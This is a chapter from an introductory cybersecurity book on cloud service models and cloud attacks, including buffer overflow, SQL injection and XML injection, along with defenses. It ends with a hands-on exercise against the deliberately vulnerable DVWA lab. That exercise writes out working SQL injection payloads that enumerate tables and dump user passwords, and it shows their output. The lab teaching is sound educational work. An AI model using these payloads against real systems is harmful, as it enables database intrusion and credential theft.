7
Attacks in the Cloud

You’ve heard the term cloud computing, either listed as a tech product feature or in commercials. You might have used cloud storage to save photos or documents to the internet. So you can understand why black hats who want access to these files would attack your cloud storage.

But these brief descriptions don’t explain what cloud computing means. In this chapter, we’ll discuss how cloud computing works and the basic setup of cloud computer services. We’ll examine how attackers target the cloud and steal the information or services hosted there. Then we’ll explore what you can do to better secure your cloud accounts, as well as be more informed when choosing a service to use. In this chapter’s exercise, you’ll use some of the same techniques adversaries use to perform an attack called SQL injection; that way, you’ll gain a better understanding of how they work. By the end of this chapter, you’ll know how the cloud operates and what you can do to protect your cloud storage from attackers.

How Cloud Computing Works

The term cloud computing can be confusing because it’s used in many different contexts, especially when it’s used to market products. At its most basic, cloud computing just means using someone else’s computer to do something. At first, that definition might seem impossibly vague. But that’s sort of the point; cloud computing encompasses a range of services and systems, some of which you might not even know about.

One example of a cloud service you’re probably familiar with is website hosting. As discussed previously, when you go to a website, you’re reaching out to a server that hosts that web page. Theoretically, this means that anyone who wants to have a website has to have their own web server, which they set up and maintain. But in reality, tons of companies provide web hosting services so you can have a website on the internet without having to own a web server. Some of these services, such as Wix, Google, and Squarespace, offer additional cloud services, such as database storage, marketing ads to other websites, and even website-building tools.

One main advantage of a cloud service is that you don’t have to maintain the equipment and systems required to use a certain piece of hardware or software. If I wanted to host a website that sells the t-shirt designs I doodled on the back of my napkin at lunch, it would be difficult for me to raise the money necessary for all the equipment required for a modern website to operate effectively, never mind the know-how to set it up and run it. Instead, the cloud service allows me to use its equipment and expertise. This reduces the overall cost of the service, which is split between the service’s users.

A downside of using a cloud service is that you have limited control over how you can operate the equipment. Using the website service as an example, the service offers you no control over what type of web server the company is using. You also have limited control over the features the service provides. If it doesn’t offer a particular service—for example, an online store for your website—it can be difficult to get the service to add that feature. You’re limited by your contract for the services too. For example, you might have a contract that allows only 100 visitors to your website a day. If more than 100 visitors browse to your site, either you’ll pay a premium price or the additional visitors might be unable to access the page.

As the internet has expanded and the number of network-connected devices has grown, so too have the offers of cloud services. Understanding how each service works can be confusing. One way of categorizing cloud systems is to describe what type of service they offer. Typically, we label these as the service name followed by as a service. For example, you might have AaaS, which could mean Application as a Service or Analytics as a Service. As you can see, cloud computing encompasses so many features and functions, even the acronyms have multiple definitions. In fact, people sometimes use the acronym XaaS to mean Anything as a Service, which shows how widespread cloud services can be.

For simplicity, let’s look at the three main services we usually associate with the cloud.

Software as a Service

Software as a Service (SaaS) is software hosted on someone else’s system that users can access through a network connection, typically by logging in through a web portal.

A great example of SaaS is Microsoft Office 365. This product allows you to access Microsoft Office applications, like Word or PowerPoint, through a website rather than installing the applications on your computer.

SaaS has a few advantages: it gives you access to the latest software updates as well as the ability to use the software from many different systems. Also, SaaS often provides integration with other cloud offerings. For example, Office 365 integrates with OneDrive, which is Microsoft’s cloud storage service.

Platform as a Service

Platform as a Service (PaaS) includes all the infrastructure, tools, hardware, and software needed to run a service. A web hosting platform is one example of PaaS. Another example is email services, like Gmail or Outlook. The platform in this case is an email system, which requires a server, website portal access, applications and protocols, and more to operate. Just like with SaaS, but on a larger scale, you get access to the entire platform without having to manage the systems required to run it.

PaaS doesn’t give you as much freedom as SaaS, because you’re essentially limited by what the cloud provider runs. You have limited choice in the type of hardware or software to use as part of the platform. The trade-off is easier-to-manage options along with more robust features than you might have if you ran your own applications or hardware.

Infrastructure as a Service

Running software or even a platform is fine for small projects, but what if you need a large amount of resources to run multiple different types of platforms at once? This is where Infrastructure as a Service (IaaS) comes into play. IaaS provides all the resources needed to maintain the services you or your company provide to customers. Again, that description may seem vague, but this is because IaaS typically covers large-scale operations that include multiple components working together. Let’s look at an example of a conventional IaaS setup.

Let’s say you create a video game that includes a multiplayer feature. The feature lets players join the same game to build forts to defend against attacking monsters. You’re a small indie developer, so you mainly focus on creating the game and its art design. However, you know you’ll need a lot of systems to run the multiplayer component, so you hire an IaaS company to provide the necessary systems.

The IaaS company will provide not only the servers for you to host your game, but also the equipment necessary for players to connect to the servers when they want to play the game. In addition, the IaaS will provide storage to hold all the players’ data when they’re not playing so they can retain their game items. The IaaS might also provide help desk staff in case players have trouble accessing a game or a server crashes.

An IaaS provides lots of equipment and expertise designed to manage an essential service within a company. Another popular form of IaaS, known as a managed service provider (MSP), provides most of the technical equipment for a company, such as desktops, servers, and routers, as well as management in the form of technicians and help desk staff.

IaaS gives you the least flexibility when it comes to what sorts of systems are available and how much control you have over them. In the multiplayer game example, you, as the game’s owner, wouldn’t necessarily be able to tweak operations related to how the systems are run, such as how often servers are patched, what type of security is in place, or how systems are recovered should they break or crash. Be sure to pay particular attention to the contract you sign with an IaaS, because the IaaS will be a major component of how you work.

Figure 7-1 shows some examples of services provided at the various levels of cloud offerings.

f07001

Figure 7-1: Application examples by cloud levels

Security as a Service

Another field in cloud computing is Security as a Service (SECaaS), which provides cybersecurity services to protect clients from attacks. Security as a Service can include a number of different components. Some are limited in scope, such as vulnerability scanning services, and others are full-security services with personnel on call in the event of an attack. One example, known as managed detection and response (MDR), attempts to detect attacks happening in real time and respond to them in a way that prevents further damage. The service can also include ongoing security work, such as penetration testing or forensics.

Attacking the Cloud

Many of the attacks discussed in previous chapters are effective against cloud infrastructure. For example, social engineering, discussed in Chapter 3, and authentication attacks, discussed in Chapter 5, are very strong attacks against cloud services. Because many cloud services offer websites through which a client can interact with the service (for example, a Gmail account or Office 365 application), social engineering can help a black hat gain access to that account information and log in as the user. It can also be more difficult to detect these malicious logins, because the cloud application is so widely accessible that checking for typical indicators of malicious activity, like the time of day or location of the login attempt, might not work.

Another example of an attack that works against cloud computing is the man-in-the-middle attack, introduced in Chapter 6. If an adversary can intercept network traffic between the client and their cloud service provider, they can manipulate the traffic to access the service or steal the data that is being transferred. Setting up a fake page that looks like the cloud service login page is one way that an attacker can create this man-in-the-middle scenario.

Malware is also a viable option for attack. Many adversaries have targeted cloud services with malware because of the amount of resources they can exploit. Crypto-mining malware, which illegally mines cryptocurrency, like Bitcoin, is one example. Crypto-mining takes a lot of CPU resources and power, so adversaries sometimes attempt to use cloud service resources to mine cryptocurrency. This kind of attack can be tricky to detect, because many crypto-mining programs are disguised as legitimate applications running in the cloud environment.

Most cloud attacks aim to gain access to the infrastructure the cloud provider runs. One way to do this is to look for exploits in the client-facing systems the cloud service provides, and then use those exploits to access the private, internal resources. We often refer to these exploits as web application attacks; we’ll take a closer look at them next.

Web Application Attacks

Many cloud services have a client interface that you can access through a website or other online application. This interface allows you to interact with the features you paid for. It also provides a perfect place for adversaries to attack. Because the application must remain available for clients to use, it can be difficult to stop an attacker from accessing it, too. Some web applications are open to the public as well, meaning anyone, at any time, can access them.

Also, web applications are often connected to resources inside the internal network. This enables outside users to access data that isn’t usually available to the outside, such as user profiles or personal information. It also creates a way for adversaries to gain access to the inside network and steal that data.

As discussed in Chapter 6, private networks usually send connections from the outside network to the DMZ. This allows users to access cloud services and other resources without having access to the internal network. When a user needs access to the data stored on the internal network, the cloud service in the DMZ accesses those resources on the user’s behalf.

Yet there are many ways that an adversary can attack the internal network through external cloud services. One of the main goals of these attacks is to gain arbitrary code execution, which is the ability to execute whatever commands or code you want on a system. Usually, only accounts with the highest privileges can do this, but there are often ways to bypass the restrictions in place. Once a black hat can run their own code, they can fully infiltrate the system by either installing a backdoor or creating an account.

Let’s look at some of the most common examples of web application attacks to determine the general structure of this type of attack and how they work.

Buffer Overflows

A buffer overflow attack attempts to fill a computer’s memory so that either the system crashes or the attacker gains access to normally unauthorized parts of the system. To understand how this attack works, you first need to know how memory allocation works. A system uses memory to store all of its information. Normally, a system only has a set amount of memory, which it allocates in blocks to its functions. Applications, such as those cloud services use, are given a set number of blocks of memory to use. Unused memory is known as a buffer.

When attackers commit a buffer overflow attack, they intentionally try to overflow the memory buffer allocated to the application. For example, if an application were given five blocks of memory, the adversary could attempt to inject six blocks of data into it to overflow the allocated space. Figure 7-2 illustrates this process; the word excessive is larger than the space allocated in section A.

f07002

Figure 7-2: Buffer overflow example (image modified from the original covered under the Attribution-ShareAlike 2.0 Generic [CC BY-SA 2.0] license, https://creativecommons.org/licenses/by-sa/2.0/)

Once the buffer is breached, a few different events can happen. Some systems will cause an error and crash because they can’t store all the data provided to them. Another option is that the data overflows into the next block.

Often, attackers place commands at the end of a long string of data that they submit to the application. If the memory overflows the buffer and runs into a memory block allocated to administrative functions, the system command might be executed using a high level of privilege. This could result in the adversary executing any code they want to on the system.

The best way to manage a buffer overflow is to use a feature called input validation. When a user sends data to the system to be committed to memory, input validation code first checks to ensure the data will fit and arrives in the proper format. If the input is unacceptable, the system drops it before it commits it fully to memory. This stops the buffer overflow attack before it can begin. Another technique that application developers can use is called fuzzing. Fuzzing generates random inputs of various lengths and automatically applies them to the input fields on a website or cloud application. This allows a cloud service to ensure that input validation is in place and that no exploits, like a buffer overflow, will occur.

SQL Injection

Structured Query Language (SQL) is a programming language used to access or manipulate the data stored in databases. Web applications sometimes use SQL databases to store information that the website’s users can access. For example, a website that has a login feature might use a SQL database to store its users’ account information, including their passwords. When a user logs in to the website, the web application creates a custom SQL query and sends it to the database to retrieve the user’s information. Figure 7-3 shows how this works.

f07003

Figure 7-3: An example of a normal SQL login

Sometimes, using a SQL query to access a database means that a user can use the password input field to send any values of their choosing directly to the database for processing. For this reason, it’s possible for an attacker to inject a text string other than a username and password into the database—say, their own SQL queries, which would allow them to execute commands on the database. As a result, they could create new accounts with administrator privileges, change the passwords on existing accounts to let them log in to the accounts using the new passwords, and mine the database for personal information, such as credit card numbers. The black hat can even delete the database! Figure 7-4 shows an example of a SQL injection.

f07004

Figure 7-4: An example of a SQL attack

The top section shows how a normal SQL query is created from a username and password. The bottom section shows a standard query used to determine whether a service is susceptible to SQL injection. This query essentially tells the database to look for any user and return that information (the password field gets nullified by the */ syntax), indicating to the attacker that the service is susceptible to this type of attack.

That said, you won’t often see this succeed in modern systems, because most services have recognized and mitigated the attack. As with buffer overflows, the best way to defeat this attack is to use input validation to remove malicious SQL queries before they’re sent to the database. Still, it’s an excellent example of how an adversary can use the backend infrastructure to attack a cloud service.

XML Injection

Extensible Markup Language (XML) is a set of rules used to create dynamic documents that web servers can read to populate web pages. For example, let’s say you’re on sparklekitten.net, shopping for all those cool Sparkle Kitten products. When you click an item, the web server can send an XML request to a database with price information. The database sends that information using XML, which the web server then populates into the web page, giving you the latest product price. XML is beneficial, because it works no matter what type of web server or database you’re running; if both understand XML, they can communicate with each other.

Adversaries use XML’s flexibility to their advantage. In an XML injection attack, the black hat creates their own XML document and sends it to the web server. The web server accepts the XML document and updates the site using the malicious input from the attacker. An XML injection attack can behave differently depending on how the document is written. For example, it’s possible to create a user with full administrator privileges using XML injection.

Often, attackers use other exploits to get the web server to validate the XML document. Like with SQL injection, they might use a field in the web page to inject the XML information into the application’s backend. That means you can use input validation to defend against these attacks too. If the system can recognize the XML information, it can remove it from the input or reject it outright.

Defending the Cloud

Cloud services can be more secure than systems you own and run. The reason is that cloud providers can spend more money on security than smaller companies can. Also, because cloud providers service multiple paying clients, they can afford to maintain several security services, including hardware, software, and personnel, without having to charge any one client the full cost of those services. It’s also in the best interest of the cloud provider to have a high level of security, because its entire business is based on making sure its clients can use its service securely and consistently.

However, you can’t always rely on a cloud provider to have the security you need. Before signing up for a cloud service, carefully examine its terms of service to determine what level of security the cloud provider will maintain. The terms should also tell you what you, as the client, are responsible for. Many cloud providers keep compliance reports, such as a SOC II report, that you can request. These reports not only show what security features they have in place, but also provide proof that those features are functional.

One of the weakest points of cloud security is at the publicly accessible client portals. Many of the attacks discussed so far begin at the web page that the client uses to interact with the cloud service. Administrators must frequently test these portals to ensure they’re secure. One way to do that is to use fuzzing, as discussed in “Buffer Overflows” on page 130. You should also add cloud applications and connections to the monitoring you’re doing for the systems on your network. For example, many cloud services allow you to integrate with third-party applications, such using a Facebook login to log in to your account, or with systems that you control on your internal network, such as a customer database. Monitoring what access your cloud service has to other applications, systems, or accounts can help ensure that a black hat hasn’t taken control of your cloud account or used the cloud service to gain access to your internal systems.

It’s also important for cloud service users to have proper training. This preparation will help ensure that a user doesn’t fall prey to a social engineering attack. Using multi-factor authentication can protect the cloud service too. Many attackers will give up and move on to easier victims rather than taking the time to break through multi-factor authentication.

Exercise: Performing SQL Injection on the Damn VulnerableWeb Application

To better understand the principles of SQL injection, let’s perform the attack. We’ll target the Damn Vulnerable Web Application (DVWA), an intentionally defenseless application designed for testing various weaknesses.

Before you can load the DVWA, you’ll need a platform to run it on. Because the DVWA is, well, vulnerable, it’s best to run it as a virtual machine or container. For this exercise, we’ll use the service Docker to do this. Docker is a platform for running containers, which are essentially software packages designed to run regardless of where they’re executed.

Installing Docker and the DVWA

To sign up for a free account and install Docker, visit https://www.docker.com/, as shown in Figure 7-5. Click the Get Started button in the upper-right corner, which should take you through the process of downloading and installing the Docker Desktop application. The standard installation will work for our purposes.

Once you’ve installed Docker, you can decide to go through the tutorial or get started right away.

f07005

Figure 7-5: The Docker home page

Next, you’ll need to download and launch the DVWA using Docker. To do this, access the command line by going to your Start menu and entering Command Prompt on Windows or opening the Terminal application on macOS. Then run the following command:

docker run -–rm -it -p 80:80 vulnerables/web-dvwa

This command should create the container housing the DVWA. Once the command is finished running, the output should look like this:

Unable to find image 'vulnerables/web-dvwa:latest' locally
Latest: Pulling from vulnerables/web-dvwa
3e17c6eae66c: Pull complete
0c57df616dbf: Pull complete
eb05d18be401: Pull complete
e9968e5981d2: Pull complete
2cd72dba8257: Pull complete
6cff5f35147f: Pull complete
098cffd43466: Pull complete
b3d64a33242d: Pull complete
Digest: sha256: dae203fe11646a86937bf04db0079adef295f426da68a92b440e3b181f337daa7
Status: Download newer image for vulnerables/web-dvwa:latest
[+] Starting mysql…
[ ok ] Starting Maria DB database server: mysqld.
[+] Starting apache
[...] Starting Apache httpd web server: apache2AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message. 
ok
==> /var/log/apache2/access.log <==

==> /var/log/apache2/error.log <==  

With the DVWA successfully installed, you can open the application. Click the Docker icon in the task bar and then click Dashboard, as shown in Figure 7-6.

f07006

Figure 7-6: Selecting Dashboard from the Docker menu

You should see the DVWA listed as a container you can select. When you highlight the container, it should show several icons that provide different options. Click the first one, Open in Browser, as shown in Figure 7-7, to launch the DVWA.

f07007

Figure 7-7: Select Open in Browser to open the DVWA container

A browser window opens to a login page for the DVWA. Use the following default credentials to log in:

Username: admin 
Password: password 

A screen like the one shown in Figure 7-8 appears. Here you can create a database to use for your DVWA scenarios. Click the Create/Reset Database button at the bottom to begin. You’ll have to log in again once you do.

f07008

Figure 7-8: Creating a database for the DVWA

Now that you’ve finished setting up the DVWA, we can do some SQL injection.

Listing Users

Once the installation is done, various attacks should automatically be listed on the left side of the main page. Click SQL Injection to go to a page with a User ID field and a Submit button, as shown in Figure 7-9.

f07009

Figure 7-9: The SQL Injection field

To start the injection, let’s try something simple. Enter 1 in the field and press ENTER. A red error text pop-up should appear with the following text:

ID: 1
First name: admin
Surname: admin

This error already indicates that the application is vulnerable: instead of displaying User Not Found or a similar message, it shows the first and last name of the user with the ID of 1. Let’s see if we can find more users. Enter the following into the User ID field and press ENTER:

sparklekitten' or '1'='1

Let’s break down this input. The SQL language evaluates every query to either true or false. The or operator displays a record if any of the conditions separated by that operator are true. Because sparklekitten won’t be an entry in the User ID field, this condition will be false, but because 1 always equals 1, this condition will be true. By SQL’s logic, this input will essentially produce all the User ID entries in the database, because the 1=1 is true and the or operator refers to either condition; SQL query believes every entry meets the requirements of the query and sends every username as a result. By entering this input, you should get the following output:

ID: sparklekitten' or '1'='1
First name: admin
Surname: admin
ID: sparklekitten' or '1'='1
First name: Gordon
Surname: Brown
ID: sparklekitten' or '1'='1
First name: Hack
Surname: Me
ID: sparklekitten' or '1'='1
First name: Pablo
Surname: Picasso
ID: sparklekitten' or '1'='1
First name: Bob
Surname: Smith

As you can see, there are five users in the database.

Finding Database Table Names

Now that you know running SQL commands from the User ID input field works, you can use SQL queries to find more information about the database. For example, let’s find all the names of the tables in the database. A table is like an Excel spreadsheet; it stores data in columns and rows. If you find the name of a table, you can make queries specific to that table.

To find a table name, use the following query:

sparklekitten' and 1=0 union select null, table_name from information_schema.tables #

This command allows us to run a SQL query that asks to select two results from the information_schema table: null and table_name. The null value will return nothing. We use null because we know there are two fields (first name and surname), and we have to have two results. The real focus is the table name; this query finds the table names in the information_schema table. In SQL databases, the information schema table holds the names of all the tables in the database, so we’re essentially asking the database to return a list of every table. We should get a long list of names, most of which are standard tables created for running the SQL database. In the following output, only the two at the top are important for our purposes: guestbook and users.

ID: sparklekitten' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: guestbook
ID: sparklekitten' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: users
ID: sparklekitten' and 1=0 union select null, table_name from information_schema.tables #
First name: 
Surname: ALL_PLUGINS

Output abridged 

Because we’re trying to find information about users, let’s focus there. Now that we know the table name for users, we can query it for more information. Try the following query to see if you find anything of interest before continuing with the exercise:

sparklekitten' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #

This line asks for all the column names in the users table. The concat command asks for the table name and column name from any table named users. The 0x0a syntax represents a newline so the table name and column name are printed separately, making them easier to read.

When you enter this query, the output should contain several lines showing the names of the columns in the table.

Finding Passwords

One column in particular is of interest to our goal in this exercise:

ID: %' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
First name: 
Surname: users
password

This output indicates that a password column exists. That seems promising! Use the following query to see what the database stores in that field:

%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #

This query asks for the first_name column, the last_name column, the user column, and the password column in the users table. The output should show all of this information, giving us the password for the admin account for this database. Congratulations! You just got access to the database using SQL injection.

This scenario is designed to be easily exploitable, but performing SQL injection on other sites won’t be so straightforward. Nevertheless, you should now recognize how simple coding mistakes can lead to large vulnerabilities. By shaping standard SQL queries and learning information about the names of tables in the database, you discovered a lot of useful information, including passwords. Once you have the passwords, you’ll likely gain access to the database.

There are many other exploits in the DVWA. I highly encourage you to experiment with it and read the resources it provides about various attacks. By doing so, you’ll learn a lot about how black hats operate.

Conclusion

When it comes to cloud services, the main factor to remember is that you’re using a service that to some extent is controlled and owned by another person or group. This makes security tricky because you might not have a lot of control over how the service is secured or maintained. It also means that in general you must use the internet to access the cloud service. This opens cloud computing up to many dangerous attacks, such as web application attacks like buffer overflows or SQL injection.

To maintain your system’s security, you need to research a cloud service before using it to ensure that it takes security seriously and follows best practices, such as those previously discussed in this book. You also need to carefully monitor how the cloud service is integrated with your systems to verify that a black hat isn’t using the cloud service to gain access to your internal systems. Taking these precautions will go a long way toward making sure you can use cloud services with peace of mind.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
44.222.231.51